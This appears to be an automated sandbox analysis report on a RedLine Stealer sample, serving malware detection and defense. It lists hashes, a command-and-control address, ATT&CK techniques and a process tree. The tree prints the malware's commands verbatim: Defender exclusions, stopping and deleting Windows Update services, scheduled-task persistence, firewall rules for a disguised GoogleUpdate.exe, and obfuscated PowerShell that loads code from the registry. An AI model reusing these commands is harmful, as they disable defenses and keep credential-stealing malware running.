redline | dfaf9fe4937ab169d48157bae84def3dd608a21e9339064d7b2bed5f7cf0582b

Analysis

max time kernel
35s
max time network
78s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2022, 09:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe
Size 2.6MB
Sample221025-lpb8zacbhr
SHA256 dfaf9fe4937ab169d48157bae84def3dd608a21e9339064d7b2bed5f7cf0582b
MD5 a591e720606f3a9f7b05e7d7f85d8ec5
SHA1 1d066b166c6a49fa2385211d380f89478925d492
SHA512 40bc06aad4503dfe50038959de646ed3cec2ab2b8f46e5bdf4434af10e5038aa926709fc56e3a1223bbe1b3840bcc3a72bd5ac7afa47da0f3864d627cb7fa1d6
SSDEEP 24576:/XyIlYnyLmB3h9HGe+VYlYrwqhruvMkVdbO1EpIVktdfBTOCNcIVYL/0lQ/l3RuB:PyIlYnemb9HFlSdudfBaCNcIVYFl3g
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline evasion infostealer spyware upx

Malware Config

Extracted

Family

redline

62.204.41.141:24758

Attributes

auth_value
76a7aa24209b18e5866f6b31583d7851

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/97832-133-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
4852	ofg.exe
3296	test.exe
1876	brave.exe
4204	chrome.exe
3984	GoogleUpdate.exe
83760	GoogleUpdate.exe

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Modify Existing Service

T1031

pid	Process
84356	netsh.exe
84368	netsh.exe
84388	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022e20-162.dat	upx
behavioral2/memory/1876-168-0x00007FF7C91B0000-0x00007FF7C9671000-memory.dmp	upx
behavioral2/files/0x0006000000022e20-236.dat	upx
behavioral2/memory/1876-239-0x00007FF7C91B0000-0x00007FF7C9671000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2268 set thread context of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 4204 set thread context of 83760	4204	chrome.exe	110

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\GoogleUpdate.exe	chrome.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
84828	sc.exe
84904	sc.exe
84984	sc.exe
85060	sc.exe
85092	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4072	3296	WerFault.exe	95

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5076	schtasks.exe
4188	SCHTASKS.exe
836	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
97832	AppLaunch.exe
720	powershell.exe
720	powershell.exe
720	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	97832	AppLaunch.exe
Token: SeDebugPrivilege	4852	ofg.exe
Token: SeDebugPrivilege	720	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 2268 wrote to memory of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 2268 wrote to memory of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 2268 wrote to memory of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 2268 wrote to memory of 97832	2268	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	84
PID 97832 wrote to memory of 4852	97832	AppLaunch.exe	91
PID 97832 wrote to memory of 4852	97832	AppLaunch.exe	91
PID 4852 wrote to memory of 4820	4852	ofg.exe	92
PID 4852 wrote to memory of 4820	4852	ofg.exe	92
PID 4820 wrote to memory of 5076	4820	cmd.exe	94
PID 4820 wrote to memory of 5076	4820	cmd.exe	94
PID 97832 wrote to memory of 3296	97832	AppLaunch.exe	95
PID 97832 wrote to memory of 3296	97832	AppLaunch.exe	95
PID 97832 wrote to memory of 3296	97832	AppLaunch.exe	95
PID 97832 wrote to memory of 1876	97832	AppLaunch.exe	98
PID 97832 wrote to memory of 1876	97832	AppLaunch.exe	98
PID 97832 wrote to memory of 4204	97832	AppLaunch.exe	100
PID 97832 wrote to memory of 4204	97832	AppLaunch.exe	100
PID 97832 wrote to memory of 4204	97832	AppLaunch.exe	100
PID 4204 wrote to memory of 720	4204	chrome.exe	101
PID 4204 wrote to memory of 720	4204	chrome.exe	101
PID 4204 wrote to memory of 720	4204	chrome.exe	101
PID 4204 wrote to memory of 4188	4204	chrome.exe	105
PID 4204 wrote to memory of 4188	4204	chrome.exe	105
PID 4204 wrote to memory of 4188	4204	chrome.exe	105
PID 4204 wrote to memory of 836	4204	chrome.exe	106
PID 4204 wrote to memory of 836	4204	chrome.exe	106
PID 4204 wrote to memory of 836	4204	chrome.exe	106
PID 4204 wrote to memory of 3984	4204	chrome.exe	107
PID 4204 wrote to memory of 3984	4204	chrome.exe	107
PID 4204 wrote to memory of 3984	4204	chrome.exe	107
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 4204 wrote to memory of 83760	4204	chrome.exe	110
PID 83760 wrote to memory of 84356	83760	GoogleUpdate.exe	111
PID 83760 wrote to memory of 84356	83760	GoogleUpdate.exe	111
PID 83760 wrote to memory of 84356	83760	GoogleUpdate.exe	111
PID 83760 wrote to memory of 84368	83760	GoogleUpdate.exe	112
PID 83760 wrote to memory of 84368	83760	GoogleUpdate.exe	112
PID 83760 wrote to memory of 84368	83760	GoogleUpdate.exe	112
PID 83760 wrote to memory of 84388	83760	GoogleUpdate.exe	113
PID 83760 wrote to memory of 84388	83760	GoogleUpdate.exe	113
PID 83760 wrote to memory of 84388	83760	GoogleUpdate.exe	113

C:\Users\Admin\AppData\Local\Temp\DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe
"C:\Users\Admin\AppData\Local\Temp\DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:97832
- - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
    "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4820
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Creates scheduled task(s)
        
        PID:5076
- - C:\Users\Admin\AppData\Local\Microsoft\test.exe
    "C:\Users\Admin\AppData\Local\Microsoft\test.exe"
    3⤵
    - Executes dropped EXE
    PID:3296
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3296 -s 336
      4⤵
      Program crash
      PID:4072
- - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
    "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
    3⤵
    - Executes dropped EXE
    PID:1876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      PID:84524
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:84684
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:84828
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:84904
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:84984
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:85060
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:85092
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:85116
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:85132
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        
        PID:85152
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:85168
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:85188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
      4⤵
      PID:84724
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      PID:84696
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        
        PID:84848
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        
        PID:84888
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        
        PID:84936
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:85024
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:85216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
      4⤵
      PID:85228
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        5⤵
        
        PID:85556
- - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
    "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:720
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4188
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:836
  - - C:\Windows\GoogleUpdate.exe
      C:\Windows\GoogleUpdate.exe
      4⤵
      Executes dropped EXE
      PID:3984
  - - C:\Windows\GoogleUpdate.exe
      C:\Windows\GoogleUpdate.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:83760
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
        5⤵
        Modifies Windows Firewall
        
        PID:84356
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:84368
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:84388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3296 -ip 3296
1⤵
PID:3304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:85340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:85332

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:85584

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{9ca25351-4665-47ed-9f31-7225f26b2031}
1⤵
PID:85632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 e52c7df01080c0493e7da93a234a06e8fad7e00130594d115664801a2ea0439d
MD5 a758df5ce8cd10115afd291b40a72f64
SHA1 e4255bd2dd5fe54887978c6d8355845a1f153599
SHA512 94fdf567873398b2fd84b8ce11a23220e5c254847063ba487f96b239937a8ba2124f69b27c7c58c198cbe5f203ad9951bdcd9654140aca18f4c9b7422a4384b1
SSDEEP 384:w6+Bh9i+9yPIzZkJkbio9o2TVK6seY+j2/a/H3SofqDvfZ1Oz/wpd0gDd+kKhD:xa6Sbb3o2TVNy0XSvHZsz/NIA3
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d
MD5 9b80cd7a712469a4c45fec564313d9eb
SHA1 6125c01bc10d204ca36ad1110afe714678655f2d
SHA512 ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5b3627e42eb3a83746162c00992caec8ed320239d718ce7e7a4390a6d4d4e718
MD5 e9d295e94b30a9eee9814426bab5427e
SHA1 202f0068ede33faeb801376ac14c83ea7ce34e93
SHA512 cae75a06e1ca751ee03682f84546df17036ba0cf2b574e9534f1f164f6dd24f0c4a25a338627b8b1fa48fb117a4161d795e7acb089cf84423241e4afd911638b
MD5 SHA1 SHA512

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 3.2MB
SHA256 054174b77c43d2b1a97a1238282818dc2792535ec0e3b94102c58d9d9ffeba15
MD5 872358b05cc08ca705a1a7592c23ecdf
SHA1 388dd6811a9459a2dbc78bdf38ef0477ca5b0704
SHA512 bd12b7d87a172b1efeb1cf2bcf47d1594bb953dc6ac8bdce650f5d58ce818e74e5f90d82c7e4cfa9b39126cc6bc1323c1ba2f8f02b6be13f385ae524f0ac6e2a
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 3.2MB
SHA256 054174b77c43d2b1a97a1238282818dc2792535ec0e3b94102c58d9d9ffeba15
MD5 872358b05cc08ca705a1a7592c23ecdf
SHA1 388dd6811a9459a2dbc78bdf38ef0477ca5b0704
SHA512 bd12b7d87a172b1efeb1cf2bcf47d1594bb953dc6ac8bdce650f5d58ce818e74e5f90d82c7e4cfa9b39126cc6bc1323c1ba2f8f02b6be13f385ae524f0ac6e2a
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

Path C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
Size 725KB
SHA256 a6ccbe999228a8ef36443b321573865ddf4dac81e20a586d694d8a2ff4837279
MD5 3b21c52f7bf1f84b356020af8c9b3c45
SHA1 38f56daaa3dc98c233c1abcce1a5a864a49da66b
SHA512 445c058ec4f7f50f7774533c82be74c42470377fa00ba26796405069f6a70979a246d6f741ec09813b5a4d3b60420295bea7e0583a09b25296ddeb5ca2b274f0
SSDEEP 12288:z3g7N8dPwA7+hGG0+62Aw3CtJsZQ1qRXs2J2Jc/kXRl0xy:8J8dtiwH2Aw3CknXspJc8X70xy
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

Path C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
Size 725KB
SHA256 a6ccbe999228a8ef36443b321573865ddf4dac81e20a586d694d8a2ff4837279
MD5 3b21c52f7bf1f84b356020af8c9b3c45
SHA1 38f56daaa3dc98c233c1abcce1a5a864a49da66b
SHA512 445c058ec4f7f50f7774533c82be74c42470377fa00ba26796405069f6a70979a246d6f741ec09813b5a4d3b60420295bea7e0583a09b25296ddeb5ca2b274f0
SSDEEP 12288:z3g7N8dPwA7+hGG0+62Aw3CtJsZQ1qRXs2J2Jc/kXRl0xy:8J8dtiwH2Aw3CknXspJc8X70xy
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 7KB
SHA256 453755b23c6df8cb1b2955135fe5aa8295eb0ce984f946967847b59cd87239e2
MD5 b491f711272344f719ee13d98ff337bf
SHA1 f6f621d78adba380fd5da1e5b20e51b10e072d5f
SHA512 fe2be4e97f5d20d155bf30c2a5399923c20509fc096dd5abc38d32a08db627f0fdc78bde6699f0c01e50d3aa56b83c88f0b565c68b50e014e91ba4f92e30cc1f
SSDEEP 96:J0yVUrfA9pHTz6mOZDmuitgWeBksyixDIWlVOZBPTRsP0M:ZVz9JDOZadaWeuli95iTu
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.exe

Path C:\Users\Admin\AppData\Local\Microsoft\test.exe
Size 1.3MB
SHA256 afeafca67e182853fa5be8431fa8df6b0e84fbf5aee18b692b7c5c068ec02ecf
MD5 0688e13f50cad69b7857ff50be40b6f9
SHA1 237e7880a8c65c15aca803ead6c8b98bb3f84ef1
SHA512 a0ab90a8ec080c4740642c49a939544ce1a2895096a073ba3decf0fbd7181b57a3e1578466ca94a2b6df5c3acdd4e8c8a0e62c5c8b2c55f8f95d4f570aa6d19a
SSDEEP 24576:loT9AAdK29mz6JpH25DBCXRzVfaHI0S4qsgk0tGGK/cRgOnmq9g6hASWwI9LoX6r:A93DJk5tChzVYI0ngfGdcOU7m6hbIRo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.exe

Path C:\Users\Admin\AppData\Local\Microsoft\test.exe
Size 1.3MB
SHA256 afeafca67e182853fa5be8431fa8df6b0e84fbf5aee18b692b7c5c068ec02ecf
MD5 0688e13f50cad69b7857ff50be40b6f9
SHA1 237e7880a8c65c15aca803ead6c8b98bb3f84ef1
SHA512 a0ab90a8ec080c4740642c49a939544ce1a2895096a073ba3decf0fbd7181b57a3e1578466ca94a2b6df5c3acdd4e8c8a0e62c5c8b2c55f8f95d4f570aa6d19a
SSDEEP 24576:loT9AAdK29mz6JpH25DBCXRzVfaHI0S4qsgk0tGGK/cRgOnmq9g6hASWwI9LoX6r:A93DJk5tChzVYI0ngfGdcOU7m6hbIRo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoogleUpdate.exe

Path C:\Windows\GoogleUpdate.exe
Size 150KB
SHA256 a913415626433d5d0f07d3ec4084a67ff6f5138c3c3f64e36dd0c1ae4c423c65
MD5 9a66a3de2589f7108426af37ab7f6b41
SHA1 12950d906ff703f3a1e0bd973fca2b433e5ab207
SHA512 a4e81bffbfa4d3987a8c10cec5673fd0c8aecbb96104253731bfcab645090e631786ff7bde78607cbb2d242ee62051d41658059fcbbc4990c40dbb0fec66fcd6
SSDEEP 3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoogleUpdate.exe

Path C:\Windows\GoogleUpdate.exe
Size 150KB
SHA256 a913415626433d5d0f07d3ec4084a67ff6f5138c3c3f64e36dd0c1ae4c423c65
MD5 9a66a3de2589f7108426af37ab7f6b41
SHA1 12950d906ff703f3a1e0bd973fca2b433e5ab207
SHA512 a4e81bffbfa4d3987a8c10cec5673fd0c8aecbb96104253731bfcab645090e631786ff7bde78607cbb2d242ee62051d41658059fcbbc4990c40dbb0fec66fcd6
SSDEEP 3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoogleUpdate.exe

Path C:\Windows\GoogleUpdate.exe
Size 150KB
SHA256 a913415626433d5d0f07d3ec4084a67ff6f5138c3c3f64e36dd0c1ae4c423c65
MD5 9a66a3de2589f7108426af37ab7f6b41
SHA1 12950d906ff703f3a1e0bd973fca2b433e5ab207
SHA512 a4e81bffbfa4d3987a8c10cec5673fd0c8aecbb96104253731bfcab645090e631786ff7bde78607cbb2d242ee62051d41658059fcbbc4990c40dbb0fec66fcd6
SSDEEP 3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/720-179-0x00000000725B0000-0x00000000725FC000-memory.dmp

Download

memory/720-182-0x0000000007E30000-0x00000000084AA000-memory.dmp

Download

memory/720-189-0x0000000007A70000-0x0000000007A78000-memory.dmp

Download

memory/720-188-0x0000000007B20000-0x0000000007B3A000-memory.dmp

Download

memory/720-187-0x0000000007A30000-0x0000000007A3E000-memory.dmp

Download

memory/720-186-0x0000000007A80000-0x0000000007B16000-memory.dmp

Download

memory/720-184-0x0000000007860000-0x000000000786A000-memory.dmp

Download

memory/720-183-0x00000000077F0000-0x000000000780A000-memory.dmp

Download

memory/720-180-0x0000000006AA0000-0x0000000006ABE000-memory.dmp

Download

memory/720-178-0x00000000076C0000-0x00000000076F2000-memory.dmp

Download

